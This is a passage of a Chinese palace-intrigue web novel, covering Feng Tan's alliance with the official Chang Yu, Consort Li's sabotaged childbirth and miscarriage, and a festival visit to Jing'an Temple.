思及此，她眸光暗沉，眼底毫不遮掩地凝聚起阴森寒意。
——那个给夏姨娘接生的婆子。
“……”
逢潭眼皮一压，转视旁边的影莲。
“你想呆在宫中，是吗？”
影莲被她骇人的眼神怔住，由然心生一阵毛骨悚然之感。良久，她才回道：“.....是。”
逢潭敛起下颌，沉声道：“我帮你。”
什么？！
影莲惊愕。
她说......“我帮你。”
而不是要除掉她！
“贵人....为何？”影莲茫然问道。
逢潭盯着她，眼神犀利道：“你只需选则受与不受。”
“受之，从今往后你完全听从于我。”
“反之，即使你拒绝了，我也不会干涉你的任何，以后你依旧可以凭自己的本事往上爬。”
“……”影莲忆起近来逢潭与常聿的来往，虽不知他们是从何时结交上的，但眼下唯一不容置疑地一点就是——
常聿和逢潭已然是一道的人，他是逢潭背后的靠山。
几乎只一瞬犹豫，影莲立马决然道：“奴婢任凭贵人差遣！”
“傍晚那会儿，常聿送了不少东西过来，”逢潭也没再看书了，她脱掉披在肩膀的外衣，往床边走：“明日，你拿些炖了汤给陛下送去。”
说着，她又想到了一个人：“...晚点再挑些温补的，让来乐送去给李婕妤。”
“奴婢记住了。”
......
翌日，影莲踩着午膳的点来到勤政殿。
门口的小太监觉得她脸生，上前拦住她：“陛下在与常大人议事，姑娘得等会儿。”
随即他又问道：“不知姑娘是哪个宫的？等下我好进去通传。”
影莲福了福身，道：“我是娴苌宫的。”
“娴苌宫？”小太监闻言，徒然不屑地哼了一声：“我当是谁？”
影莲蹙眉：“公公何意？”
小太监道：“昨儿个陛下要去见，你们不给见。”
“今儿个又巴巴地过来？”
影莲道：“....这不是公公应该过问的。”
小太监不愿与她多言，直接开始驱赶她：“去去去。”
影莲被他推着，手里的补汤险些撒了。
她回头正欲与这小太监争辩，忽见常聿从殿内出来：“常大人！”
影莲掠过小太监，疾步走到常聿跟前，自报家门说道：“我是逢美人身边的宫婢。”
男人侧目扫她一眼，余光落在她手里的东西上。
影莲见状道：“这是我家贵人亲手做的补汤。”
常聿眸色微微沉，闪过一丝异样。
“……”
她倒是听话？
少顷，他给了那小太监一个眼神：“去通传。”
小太监连连点头道是。
影莲心中一喜，朝常聿道过谢后，欢欢喜喜地进了勤政殿。
她照着来时逢潭教的说词，服侍帝王用完膳。
晚间，果不其然又得了帝王摆驾娴苌宫的消息。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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>
逢潭神色平淡地在棋盘落下一枚棋子：“……”
*
慎贵妃知道后，在自己宫中发了好大一通脾气。
常聿才将走到门口，寝殿内便迎面朝他脚边砸来一个青花白玉宝月瓶。
“一个两个都不是什么省油的灯！”慎贵妃将桌上的物什全都一扫落地：“本宫倒是小瞧了那个病秧子。”
她叉着腰，气喘吁吁道：“竟然还伙同李婕妤一起争宠？！”
“你说！接下来应该怎么办？”
常聿对此早已是习以为常了。
他面不改色地越过跪了一地的奴才，漠然道：“娘娘何需这般动怒？”
“任凭她再有能耐，也不过区区一个美人，能翻出什么浪花？”
“是啊娘娘，常大人说的对。她若真是个有本事的，还会被陛下冷落了两年？....那李婕妤就更是了，再怎么仗着自己肚子里有货又怎样？不还是个小门小户出身，骨子里透着的寒酸劲是改变不了的。”藏荷小心翼翼地去扶，却被慎贵妃一把甩开。
常聿眼皮轻掀，而后走到她身边。
慎贵妃这才稍有缓和。
“这皇后一天天的也不知在干什么？都这么久了，李婕妤那儿怎么一点动静都没有？”慎贵妃困惑不解。
那日在长街，明明还虚弱的晕倒了。
按皇后以往的手段，约摸着已经差不多到时候了。
结果现在，那李婕妤居然还能带着逢美人去逛御花园？！
....到底是哪里出了问题？
慎贵妃这边还在一头雾水，然常聿不言，却已悟了个大概，显然也没有想与她深究的意思。
“你有些日子不来毓雀阁了。”
常聿回以：“御抚司才与刑部交接了案子。”
慎贵妃道：“那件事情，前些日子，本宫也听说了。”
“就晟王那德行，能生出什么好货出来？真不知那姜萍到底怎么想的，竟将姜润玉嫁给了那样的人。”
她忽然又笑出声：“不过那姜润玉也不是什么良家的，与谢闻识也算是臭味相投，不是一家人不进一家门了。”
常聿道：“如今姜太傅在前朝独大，愈加日渐猖狂了。”
慎贵妃星眸一阖，侧着身子躺在榻上，单只胳膊撑在脑后，不屑道：“等我父兄回来，凭他姜萍算什么东西？”
“只会咬文嚼字打嘴炮的老匹夫。”
*
帝王一连歇在逢潭这里三日。
这天更是下了早朝，甚至连朝服都还不得换，便直奔着娴苌宫来了。
二人一起用膳时，帝王忽然说道：“你父亲一直都是很挂念你的，如今知道你身子好转，他心中很是欢喜。”
逢潭笑而不语，从容接过影莲手中的碗，为面前的男人盛粥。
帝王喝了一口，而后又道：“如此想来，爱妃进宫也有些年头了，你的位分也是该好好晋一晋了。”
“封号，朕都已经叫常聿拟好了，只待忙完这几日。”
“前不久陛下不是才刚晋升过嫔妾位份？”逢潭体贴柔声道：“嫔妾无功无劳，皇恩浩荡，只怕承受不起。”
“先前你救龙胎有大功，理应当赏。”帝王拍拍她的手：“眼下伺候朕，伺候的妥帖，朕喜欢你。”
17. 骄持
帝王走后，逢潭百无聊赖地坐在来乐刚为她扎好的秋千上。
旖月瞧出她这几日心情都算不上良佳，故询问道：“贵人也会有烦心事？”
逢潭丧气道：“那可太多了。”
旖月好奇：“贵人会因何事犯愁呢？”
逢潭平静地看她一眼。
旖月脸瞬间红透了，赧然道：“奴婢只是有些惊讶....像贵人这样通透的人，也会遇到困扰为难的事情。”
逢潭朝她娴柔一笑。
她并非神仙。
怎么可能会遇不到？
倘若换做以前，她或许还可以“捂着”耳朵、“蒙着”眼睛，仿若无闻地冷处理。
可而今，她的心境不一样了，竟也想去为一些事情寻得个完完整整的真相。
只是无奈眼下能力太过受限，再多思忖也不过有心无力，似若本该翱翔天际的鹰雀，受之自然安逸活脱；可若一旦受之与人，甚至一辈子也不会再飞出囚禁它的牢笼。
除非……
借用外力。
“……”
*
骠骑大将军回城之日，一路百里，惠风和畅。
碧落苍穹下，号角声声破开纤凝，红鼓激昂直击震天。远处信步驶来的军队人马，气势威言磅礴。
沈钧尧坐于高马，凝望面前巍峨矗立的城池，饱经风霜磨炼的英面上聚起持功傲物的屹然之色。
“臣沈钧尧，携一众将领，平安归京！”
帝王又看一眼手边娇妾，慎贵妃为之惊喜，代其扬声道：“沈将军辛苦了，宫中已为诸位贤卿备好接风洗尘的宴席，只待移步进城。”
沈钧尧宽眉笑道：“臣等谢陛下隆恩。”
“……”
高墙上，皇后华冠锦服立于侧，神情端肃。
她知自己只是个陪衬，因此刻意不去看旁边的帝王与慎贵妃。
这样的情景，自沈家将慎贵妃送进宫的那一刻起，她就早有预料。
这沈家世代从军，族中又多出虎将，偏生地位一时半刻还并不足以被人轻易撼动，只能眼睁睁看着他们凭功劳伟绩把慎贵妃的脚下之路垫的愈来愈高。
蛮枝悄声凑上前，男人侧目，仅两人可辨的声调，道：“大人，一切就绪了。”
常聿眼眸轻抬，嘴角亦是露出一丝不易察觉的弧度，视线落到慎贵妃身上一瞬，泛起凝霜的酷寒。
....可算回来了。
令下，城门大开。
街巷楼阁，四下围满百姓，沈钧尧率子为首走在前。
“终于回来了！这下朝廷要变天了。”
“兄弟此话何解？”
“沈家不在京城这些时日，姜家又与晟王联姻，在朝廷中势力首屈一指。”那人欲盖弥彰地小声道：“不然你以为晟世子那事是怎么解决的？老丈人出马，哪怕是陛下都得给他几分薄面。”
围观的其余人纷纷唏嘘：“是了，差点把这事给忘了。”
“沈家回来的还真是时候，这朝纲风气也是该好好正正了！”
沈钧尧回头：“元澊。”
沈元澊勒马靠过去：“父亲？”
沈钧尧道：“去找人打听一下。”
沈元澊应道：“明白。”
沈元浔奇道：“原以为姜萍会把姜润玉安排进宫，没成想居然嫁给了那谢闻识？”
沈钧尧也深感惑意：“姜萍为人最是精钻，绝不会无所图的与晟王结党，这桩婚事恐怕不简单。”
沈元浔冷哼一声：“不过这样一来也挺好，妹妹在宫中过得更安稳。”
沈钧尧不见喜，叹道：“可惜芸儿服侍陛下多年膝下仍无子嗣，那皇后始终压要着你妹妹一头。”
沈元浔开慰道：“父亲无需过于担忧，妹妹还年轻，孩子早晚会有的。”
沈钧尧点头：“但愿吧。”
......
这一次的庆功宴上，逢潭见到了许多先前都不曾见过的生面孔。
所幸谢闻识因着先前闹起的诸多纷扰，晟王今儿个并没有带他过来，故省去了不少麻烦。
而姜润玉则是跟着姜太傅一同而坐。
沈钧尧见状，故意问道：“怎么不见闻识世子？”
“臣原记得他从小便是个爱热闹的性。”
姜太傅闻言倏然拉下脸来。
他就知道沈钧尧势必会在这上面做文章。
姜太傅虽默不作声，但阴沉的脸色已然将他的内心尽数展露在了脸上。
晟王道：“那小子淘的狠了，前些日子磕着了腿脚，在床上躺着修养呢。”
“哦？”沈钧尧道：“既如此，元澊元浔，你们二人与闻识也算是从小同窗的情谊，改明儿提了礼上门看看。”
沈家二子齐齐道了声是。
沈元浔暗戳戳向沈元澊道：“亏得晟王说的出口。”
沈元澊盯他一眼，沉声道：“姜家虽已在众人面前捂嘴，但在座各位谁不是心知肚明？你莫要太显露。”
沈钧尧又直对姜太傅道：“这日子过得可真快，润玉都已嫁人。”
“……”姜太傅听出他摆明是冲自己来的，饶是再避，也落了自己势气：“沈将军说的极是。”
“这慎贵妃都已入宫八年，何况润玉呢？”
沈钧尧道：“姜太傅还真是一如既往的爱说笑，难怪会将女儿嫁给晟世子。”
姜太傅：“……”
文臣与武将之间的嘴仗，竟是谁都落不得下风。
慎贵妃掩住笑意，出言缓和道：“父亲久未回京，可是对什么事情都新奇呢。”
沈钧尧扫了一眼席面，道：“正是了，臣瞧着席间竟又多了几张不曾见过的面孔。”
“想来定是你服侍不周的缘故。”
慎贵妃娇嗔道：“陛下，您听听。”
帝王放下酒盏，替爱妾辩解道：“芸儿体贴乖顺，是以难得的可人。”
皇后熟练地冷眼旁听着，她今日在他们身后做了一天的陪衬，即使无人问津，礼仪周待也一刻不曾有过松懈，这会子正是思绪倦怠的时候。
“娘娘——”
宫人突如其来的通传，更是叫她神下一惊。
随即皇后周身怠意消褪，面上露喜。
终于发动了。
她敛起眼底的兴奋，不知与帝王说了些什么，帝王龙颜喜悦与担忧交织。
接着大约又过了有一炷香的功夫，又有通传的宫人附在帝王耳旁道了话。
帝王抬眼看向席间的逢潭：“……”
随后他朝常聿招手，对其道：“你带她过去。”
*
漪澜殿内
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，李婕妤声音悲凄。
黛竹眼圈红润地端着血水出来，忽见逢潭站在殿外，连忙道：“好美人，左盼右盼可算把您盼来了！求您快进去瞧瞧我家贵人吧！”
逢潭闻声，眉间不自觉紧皱。
相反早就过来候在殿外的皇后，此时正悠然自得地喝着茶。
她在观见逢潭过来时，心中只浮现一瞬迟疑，而后眼角余光落到她身后的常聿，很快便反应过来是帝王的授意：“逢美人到底是没生养过，女人生孩子亦如在鬼门关走了一遭，历来都是如此的。”
逢潭对着皇后福了福身，语气恭婉：“里面血气大，嫔妾代娘娘进去看看。”
“……”皇后没有说话。
逢潭看一眼常聿，也没再等她回答，便随着黛竹走进殿内。
“怎么回事？”她悄然轻语向面前的婢子询问道。
黛竹左右瞅了一圈，才茫然道：“奴婢其实也不知。我家贵人上午的时候明明还好好的，精神气也足，谁知到了下午，竟毫无预兆地突感身子寒凉，腹痛难捱。”
“奴婢去寻了太医过来瞧，止疼的药也吃了，仍是不见好，直至前不久，贵人疼的起不了身，这才发现身子底下见红了。”
逢潭沉思：“除早午两膳外，可还吃过什么别样的东西？”
黛竹眼珠转了转，想到：“中午的时候，贵人曾有吃过几口玉酥膏。”
逢潭问：“那是什么？”
“奴婢也说不上来。”黛竹道：“新来的婢子做的，近日贵人每每用完膳都会吃上几口，说是解嘴里腥腻。”
逢潭对着影莲使了个眼色，影莲了然退身出去。
围帘掀开的瞬息，浓郁的血腥气迎面袭来，几个接生婆子团团围绕着李婕妤，却无一人上手。
逢潭道：“眼下这是……？”
其中一个接生婆子道：“回贵人，婕妤宫口所开大小还尚不及孩子头出来。”
逢潭敛声，气势仍是丝毫不减：“你们是头一次接生遇到这种情况吗？难道连一点的应对法子也没有？”
另一个婆子道：“是...是，婕妤她胎位也不正……”
“早知会有今天，几位何不提前对一下口供？”逢潭漠然道：“仍你们这般袖手旁观着，好好的人也能被你们活活拖死了。”
“但凡陛下的龙胎和婕妤有什么闪失，第一个怪罪的就是你们这群接生婆子！”
李婕妤听到逢潭的说话声，费力地抬了抬眼皮：“.....妹妹。”
“我好疼，我快没力气了。”
逢潭坐过去，握住她的手：“我若是几位，定不会行如此愚钝之举。”
“背后的主儿交代所归一码，可天意在手，不过就是一句话的事。哪怕保一个，也罪不至死，不至于牵连到家人。”
“王婆子，我不想死……”
“这位贵人说的没错，此事可是杀头的大罪。”
被唤王婆子的人，似是在这群接生婆子中的主力：“……”
“我虽不懂妇人接生之事，但在医术方面也算小有深究。外面，常大人还等着带我一同回去向陛下复命。”逢潭语调轻浅，似在说着不足轻重的话，然身上那股骇然的凛然却激的众人不寒而栗：“面前这位婕妤和龙胎的生死，在你们。”
“你们的生死，在我。”
18. 虚与
“我不管了！”一婆子拍手道：“这辈子做的孽已经够多了，我可不想将来午夜梦回的时候，再多细数起一份忏悔。”
“王婆子，钱我也不要了。就当为我那地底下的孩儿积德了。”
逢潭的话起了效，随着当中一人的表态，使其她接生婆子纷纷紧跟着为之动容。
簇拥在床边的几个人互相对望一眼，随即也不再顾及什么王婆子，由那说话的带头上手为李婕妤辅产起来。
逢潭从帐中退出，皇后已然去了偏殿，门口唯剩常聿。
常聿察觉她近来似乎常常有些心不在焉。
“你又在想什么？”
逢潭尚未从怔滞中缓过来，她温吞看向常聿：“……”
此刻她的心中尚有不明。
李婕妤的这番莫名早产着实是叫人出乎意料的。
逢潭对于自己的医术，终归是知根知底，手里清楚有几成把握的。
这一月有余，李婕妤都循着她给的安神解乏的方子静养着，少食凉物，加以温补，身体迹象都已比先前见好了许多，即使无法完全弥补早前的匮乏，却也不至于没有任何预兆的，连七个月都挺不过就见红。
事出的太过于反常，逢潭不得不怀疑是否另有其人从中作梗。
只是....
就算是有人故意为之的，又能怎样？
一切都太晚了，他们的目的已经达到了。
这孩子本就是虚育，一旦生出波折，那么就将是凶多吉少。
“……”
“你在看我？”
逢潭恍然回神，瞳孔聚焦的一瞬，旋即被不知何时已然走到自己面前的常聿，吓的往后连缩了两步：“....常大人，你这样我会很害怕的。”
常聿双手环臂倚在门边：“是你自己看入迷了。”
“……”
显而易见，逢潭依旧没有将他的话入耳。
常聿冷眸微眯，神情看上去不太爽。
但逢潭却并无心留意他的情绪变化，继之问道：“太医在哪儿？”
常聿未予回应，单单微垂着眼帘凝望她。
逢潭抬头，视线撞上他深如寒泉的黑眸：“怎么了？”
她这话一出，常聿登时竟觉得十分可笑。
凭逢潭多么会察言观色的人，而今居然会问出这样的话？
“……”逢潭原就烦忧着，眼下更是又因李婕妤的事情，无暇深究常聿心中所想。
她见常聿迟迟不吭声，一时也失了耐心，转而去看蛮枝。
蛮枝忸怩地看了看常聿，如履薄冰地回答道：“....钟太医方才被皇后娘娘叫去了偏殿，说是皇后娘娘过来的路上吹了风，头痛的厉害。”
逢潭闻言眼眸一压，皇后的理由未免也太拙劣了些。
常聿不露喜怒地睨蛮枝一眼。
蛮枝心里委屈：“…...”
明明是大人先不理人，贵人才退而求其次地来问他的！
“贵人！”影莲从后面的小厨房回来。
她拿绢帕包了块透亮如玉色，像是糯米制成的水晶糕点：“估摸着就是这个。”
逢潭浅浅闻了闻，随后触摸发上的银簪剜了一点边角放进嘴里。
“这是什么？”蛮枝好奇地问道。
逢潭摇头，不经心撂下一句：“不知道。”
常聿道：“不知道你就敢往嘴里塞。”
“又不是狗鼻子。”逢潭气定神闲地回以：“我不尝尝，怎么知道里头是什么？”
常聿：“那你现在知道了？”
“……”逢潭总算发觉到了不对，今晚可算正眼瞧了常聿一次。
一晚上两人不过也就才说了这么几句话，结果这位爷的言行举止却是无一处不在呛人。
逢潭无语凝噎，想不明白究竟是哪个缺心眼的惹了他不痛快？？
常聿现在简直就是活脱脱的见人嫌，恨不得将此刻所有不顺眼的东西一扫而空！
逢潭缄口不言地盯着面前的人，衡量片刻决定这会子还是跟他能避则避吧。
她可不愿往常聿枪口上撞，做那个任他撒气的倒霉蛋。
倏然就在这时，忽闻身后殿内一声凄叫惊月。
“——太医！太医！”
黛竹随之夺门而出，无头苍蝇似的跑到院里喊着：“婕妤大出血了！太医何在？！快拿止血药来啊！”
“……”
*
四月的风轻柔抚人，银沙冷光透过云层，天边皎月映眼，逢潭同常聿站在进进出出的人流中，显得格外平静。
“作何感想？”常聿漫不经心问道。
逢潭眸光扑朔，静默良久，她怅然地叹了口气道：“....想拉她一把的。”
“太天真。”常聿嗤笑一声，瞥眼余光看她：“即使你因一时怜悯，有心想要帮她，可她要面对的就仅是皇后和慎贵妃吗？”
一个家世不显，无所依靠的女子，能凭一己之力在这宫中出人头地，已是实为不易。
如今好不容易熬到希冀含苞露出萌芽，这些被层层圈在宫墙内的人，竟是连这个雏形都要为之剥夺。
起初常聿授意逢潭搅进其中，原就是笃定李婕妤势必逃不过现在正面临着的这个结局，故想借此时之景，将这个注定不得诞生的孩子的价值利益最大化，反打背后之人个措手不及。
“……”
逢潭垂眼，睫翼轻压，盖住眼底情绪。
她终究是低估了夹道周围可怖的黑暗，竟可笑的以为凭自身那点微弱的光亮能为李婕妤脚下崎岖的小道，引出一条相对宽亮平稳的路。
常聿视线在她脸上停留半晌：“今日之事，就当在教你学乖。”
逢潭讶异常聿的反应过于平淡。
于是，先自我调侃道：“你不怪我太自不量力吗？”
常聿不甚在意的扬了嘴角：“我若怪你，你会为此悔不当初没有依照我给的路走吗？”
逢潭道：“不会。”
常聿不怒反笑，朝她靠近，俯身同她四目平视，两人之间的距离不过一掌：“那你现在心中是什么感觉？”
逢潭顿了顿，直视他的眼睛：“我很难过。”
这份难过不仅是来自对这件事情所感的无能为力，还有经历短短数月后，害怕面对将来一切的恐惧。
“常聿。”逢潭忽然叫他。
男人垂着眼
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，懒懒应道：“什么？”
“你说话算话的，对吧？”
面前的女子目若悬珠，眼底饱含的是他看不懂以及从未见过的情意。
“……”
*
李婕妤醒了。
人，却不再似以往了。
漪澜殿的宫门，从早至昏，愣是没有一刻关上过。
就连平时从不跟李婕妤来往的嫔妃，如今也是一波接着一波成群结队地来观望她。
逢潭来的时候，刚巧遇上皇后也在。
她驻足帘后，听皇后泪眼安抚：“妹妹，你还年轻。”
“孩子还会再有的。”
逢潭心中冷笑，钦佩皇后的表面功夫做的极好。
太子根基未稳，试问在她手下，还会有几分怀孕的可能？
李婕妤一动不动地蜷缩在床角落，回应皇后的唯有话落之后的沉默。
皇后注意到逢潭：“你来了。”
逢潭朝皇后行礼，简单寒暄两句。
李婕妤听到她的声音，眼睫蓦然轻颤，总算是有了点反应。
待皇后走后，李婕妤抬眼在见到逢潭的那一瞬息，泪水就再抑制不住的一涌而出。
“....它甚至都还未曾睁开眼，好好看看这个世界。”
李婕妤元气大伤，萎靡的模样，整个人仿若没了生机，连呼吸都是虚浮的：“谢谢你昨晚来救我。”
逢潭道：“是你自己的抉择救了你。”
李婕妤选择相信她，又何尝不算是自己的一种自救？
“其实.....”李婕妤道：“我心中原也有数，早也料想到这个孩子会保不住。”
就依昨晚的情形，即使是再愚钝木讷的人，也能从后知后觉中，咀嚼过来不对。
纵使那群婆子再大胆，却也断然不敢在中宫皇后的眼皮子底下行如此风险之事。
她们即敢做之，就足以说明背后有恃无恐。
间接的无非就能证明两点，要么那指使之人不畏惧皇后；要么指使之人就是皇后。
假使逢潭是个没主意的，自己再被那几个婆子拖下去，性命也将难保，到时恐怕会跟这孩子一尸两命。
逢潭道：“是我太过自负，不自量力的以为凭我那点微不足道能够帮到你。”
“倘若不是因为你的出现，我与这孩子的缘分估计早已了断了。”李婕妤摇摇头：“从前，我原不过就是王府里的一个舞姬。后有幸得陛下一见青睐，才被带进宫。”
“我深知自己不论家世教养，还是姿貌才艺，都远远比不上你们。一直以来，在你们面前我都很自卑，即便陛下这两年对我宠爱有加....但环绕我左右的仍是离不开一句身世微贱。”
“直到后来我怀了这个孩子....这短短数月，我虽日日过得艰辛，如步刀刃。可也正是因为这个孩子，让我真真切切的享受到了尊者的待遇。”
“只要有这个孩子在，我就再也不用低头去做人了。”
“就算太医不说，”李婕妤道：“我自己也多少能感觉到自己身体的不适。可我……不能，也不敢让人知道我腹中的龙胎有异。”
“我不想失去眼前的这一切。”
19. 攻心
李婕妤小产后，漪澜殿的光景也由着帝王的态度大不如前。
逢潭眼瞧她这半月里一直抑郁寡欢，人都消瘦憔悴的眼窝深陷了。
“妹妹，”近几日李婕妤的言行愈加消怠，整个人颓丧地捧着药碗好半天，难以下咽：“其实你不用每日都抽身过来的。”
她哽叹一声，将碗搁置桌边：“如今你恩宠渐盛，莫要为了照顾我这么个不值当的人懈怠君心。”
逢潭静聆，眉心跟着她的话语微微蹙起。
于李婕妤而言，终归是身病好愈，心病难医。
她心中挣扎，原想说的一些话，此刻仿若如鲠在喉，不知是否该与她说起。
李婕妤眸光黯淡，眼底沉如死水：“苍天无情，人往往是越惧怕什么，前面愈是给你安排什么。”
曾经她多么害怕失去君心，自以为得天垂怜，谁承想原自己得到的所有，竟是老天跟她开的一个玩笑……
为了能够让她铭心刻骨，认清现实，故而将她捧高，而后又让她跌落！
身心五感，遍体鳞伤，无一处不是痛彻心扉！
....她现在什么都不敢再奢求了。
“妹妹不用安慰我，”逢潭张了张嘴，欲要说些宽慰体己的话。李婕妤率先截断道：“怪我太过虚荣。”
“若我能早一点察觉到不对，亦或是当初坦诚布公，及时对症补救，没有愈拖愈严重，兴许现今的结果就不一样了....”
逢潭不置可否。
如非铁了心地想要将一人置之谷底，布局者势必不会为其留有一丝生机。
她也是经此顿悟。
即便没有后来的事情，凭逢潭的相助这个孩子得以降生，依她给李婕妤铺的路走，这孩子也究根结底承受不住李婕妤的希望跟寄托。
这些现实，对面前的人来说，太残忍了。
逢潭说不出口，心下斟酌。
...与其见李婕妤已经半脚踏进棺崮，倒不如给她敞开一条缝隙，不论她是想借此挣脱，还是渡气，都好过现在的自怨自艾。
逢潭喟然长叹道：“有时候，站不高也不一定是自己与脚下梯子不稳健的缘故。”
“倘若有人存心在基底摇晃，攀高无所依的人自是百般挣扎都无用。”
李婕妤乍一听没有明白她的意思，待细细琢磨后，呼吸蓦然一怔：“....你知道什么是不是？”
逢潭没有说话。
李婕妤抓起她的双手紧紧握住：“好妹妹....你就如实和我说吧！”
“那日之事，来的蹊跷。”逢潭平静道：“我待你自是问心无愧，于是便寻了黛竹来问。”
“听闻在你小产前，常食一物名叫玉酥膏的东西。”
李婕妤点头应是：“那段时日里，每每饭后我的胃中都频感酸苦。”
“玉酥膏味清回甘，故而就食的次数多了些。”说完，她脸色霎然一变，目瞪口哆道：“莫不是……？”
逢潭道：“那玉酥膏里头被人掺了十足的桂圆和杏仁粉。”
“它们的功效同慈菇一样，性寒活血。你腹中的孩子本就虚育，即使后来依我所言，尚有缓解，可终究无法立马补回先天的不足，如此一补一耗....”
李婕妤浑然颤抖，珠泪登时连线滑落，凄呵道：“好一个皇后……！”
“不止。”逢潭摇了摇头：“这位给你做玉酥膏的婢子，是从慎贵妃那儿拨来的人。”
“……为什么！”李婕妤恸哭涕零，声泪俱下道：“我是不与她们交好，却也从没与任何一方结党，得罪过她们！为什么，为什么都不肯放过我？！”
逢潭轻柔地拍着她的背：“我之所以告诉你，为的不是想要看到你这幅模样。”
“姐姐何不想想，你若因此陷入自罚，一蹶不振，岂不正好随了她们的意？若是连你都萎靡垮倒了，那还会有谁惦念这个孩子？”
李婕妤身子一僵。
....是啊。
自她小产数日以来，帝王从始至终都只步未曾来过漪澜殿，她也已垂丧许久。
真正伤心伤身的人，只有她一个。
而这宫中，当下又有多少人不是在看她的笑话？
“……”
李婕妤接过逢潭手中的药碗，碗壁残留的余温从皮肤渗进血肉，变得极为炙烫。
她抹了脸颊布满的泪痕，将药一饮而下。
苦涩在口腔弥漫。
但比起心中的痛，这点苦又根本算不了什么。
...
逢潭从李婕妤那儿回来时，常聿已然在她寝殿等了她良久。
他手里拿着逢潭平日常看的书，闻之门口的动静，懒洋洋地抬了抬眼：“回来了？”
逢潭从他对面坐下。
常聿道：“该说的，该做的，你都一应告知她了。”
“她若依旧无动于衷，沉浸现状，从而也表明了她是个懦弱的，以后你也无需多跟她来往了。”
逢潭沉吟道：“我这么做，单纯是不忍见她一直自我厌弃。”
常聿随意一掷，将书扔到桌面：“像她这样的出身，能走到这个位置，已经足够了。”
逢潭义正词严道：“....人本无高低之分，命途如何，也不是全由身份贵贱评断的。”
“人往高处走，水往低处流，不过都是世态常情。她持有一颗向上的心，不满当下，也不全然是错。”
常聿目光深邃地看向她：“你这么觉得？”
逢潭道：“先天给予的，从出生起就摆在那里，改变不了也没必要因此自我怀疑，自我轻贱。”
“光是活着原就已经够累了，太过在意别人眼光，这一生会很难过的。”
“想不到你处事不多，心境倒是豁达。”常聿黑眸深注地紧凝着她：“倘若有些人能如你这般所想....或许可以活得轻松些。”
逢潭敛下眼。
哪有什么豁然通透的心境。
不过是自己也曾切身的经历过罢了。
“马上就要端午了，”常聿话锋一转：“到时陛下会携众妃到宫外的静安寺祈福祭拜。”
逢潭略带探量地品了一番他话中的意味。
静默一会儿，道：“这次我恐怕帮不了大人了。”
常聿挑眉：“怎么？”
逢潭道：“这种场合哪是我这种末流之辈能去的？”
常聿提醒道：“毓昭仪莫不是忘了？”
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逢潭：“……”
哦...
最近事情固然多，她都已然将陛下晋她位分的事情抛之脑后了。
“旁的也就罢了，”常聿言为心声，从很久前就对逢潭对人待事的态度感有疑惑：“这种事都不足你上心？”
逢潭不慎在意道：“又不是晋我做皇后，总归不过一句称呼罢了。”
常聿愕然，随即一笑：“你还真是……”
“这话要是传到皇后的耳朵里，她非得治你个大逆不道，越俎代庖的罪名不可。”
逢潭对他言下的恐吓，丝毫不见慌乱道：“我只在你面前说。”
“哦？”常聿垂目看她：“贵人，就不怕我出了门，转头说出去？
逢潭眼梢一弯，秋波细闪，朝他笑道：“你不会的。”
常聿沉声：“这么相信我？”
“当然。”逢潭由心道：“除了你，我还能相信谁？”
“你可是我唯一的依靠呀。”
“所以....看在我是个小可怜的份上，常大人对我好一点吧。”
常聿闻言脸色微变，触目皆是她灼人赤裸的明眸，心中抓挠异样，生出几分痒感。
两人对视良久，只觉呼吸都变得愈加绵长。
常聿目色渐深，喉咙滚动，常年惯持的冷静自若在此刻竟也涌觉涩然。
他抵不住眼前之景，局促地别过头的瞬间，眼底是自己都无从察觉地柔光笑意。
*
静安寺建在山顶，马车只能停驶在山脚下，就连帝王也只得步行上去。
湘妃翘瞩一眼不见尽头的石阶，又恰逢潭从她身边经过，眼珠一转，借此言道：“毓昭仪向来娇弱，待会可能撑得住？”
逢潭止住脚步，满面愁容道：“这可如何是好？”
湘妃轻哼一笑：“依本宫看，你和李婕妤还是老老实实呆在山下等着吧。”
“省得回头还没到山顶，福安没祈到，人就先倒下了，平白沾了旁人晦气。”
“湘妃娘娘说的真是。”颖昭仪注意到这边的喧杂，也在婢女的搀扶下走了过来。
“这毓昭仪也就罢了，现下陛下也离不得她，”她轻蔑地上下扫了眼一侧的李婕妤，嗤然笑道：“李婕妤才出月子，怎的就这般匆匆跟着出来了？”
湘妃自是了然颖昭仪之意，也站在旁边执帕掩笑。
李婕妤袖下指节泛白：“……”
逢潭悄然从身后安抚的拍了拍她臂膊，无声示意这两人摆明了就是故意来寻人不痛快的。
何况现今帝后皆在，更是不能轻易起了龃龉。
她拉着李婕妤绕开眼前的两人，走远了些。
接下来的一路上，任凭她们再如何讥言嘲语，两人终是保持着淡然怡笑，不再理会。
登顶的最后几步，常聿伸出胳膊垫扶了逢潭一把。
继而在她耳边夷色轻语：“娇气。”
“……”逢潭笑吟吟看他，手下就着腕间掐他一下。
她的力道不大，触在皮肉软绵绵的。
即使如今天热，身着薄衫，依旧不感痛意。
逢潭斜睨常聿一眼，随后与他拉开小段距离。
常聿：“……”
20. 怒气
今朝历代帝王对端午时段的祈福祭拜之事都尤为看重。
从每年年初就开始的祭坛修建到整理，再至后面的祭天地、拜诸神、祈福祝愿，每个细枝末节都是经过层层严格质控的。
帝王仔细端量祭台一周，眼睛每落一处，身侧的礼部尚书的心就提起一分。
他俯首含腰，未见帝王示意，不敢起身。
“有劳贤卿。”
现任的礼部尚书，也就是逢潭如今的“父亲”，闻言瞬间暗舒了口气，可身子依旧微微低垂着，他恭敬谦卑道：“微臣愧不敢当。”
帝王瞥他一眼，瞧着他脸生，故问道：“贤卿是？”
逢光道：“微臣逢光，是前两年才升迁的礼部，现下担任尚书一职。”
帝王顿时恍然悟起，朝身后的逢潭伸手：“原来是毓卿的父亲。”
逢潭微笑点头应是，与逢光目光交汇一瞬，逢光道：“一别多年，吾儿愈好？”
逢潭恬静道：“孩儿不孝，劳家里挂心。”
“陛下待我很好，特着人为我医治，而今旧病已然痊愈。”
逢光欣慰，原以为这个感情了无的女儿进宫两年毫无动静，已是枚无用的废棋。
不曾想眼下新年才过短短数月，她竟不仅出了冷宫，更是摇身又被封了昭仪。
倒可谓不鸣则已，一鸣惊人，出人意料的争气……
“承沐陛下雨露恩泽。”逢光心中大喜，同时还不忘朝帝王谢恩，由故顺藤摸瓜的在帝王面前阿谀奉承下去。
“……”
逢潭默不作声地看着逢光，眸底如漩，淡漠冰冷。
皇后娴柔道：“逢大人教女有方，毓昭仪温婉柔情，甚招人怜。”
“宫中姐妹更是没有一人是不喜欢她。”
慎贵妃冷冷嗤了一声。
皇后的表面功夫做得愈发见涨了。
若是眼前有个草台班子，她定该脱了凤冠上台。
......
时过正午，恰是日头最毒的时候，帝王耐不住烦热，草草在寺内转了转，随后遣散众人回去歇息。
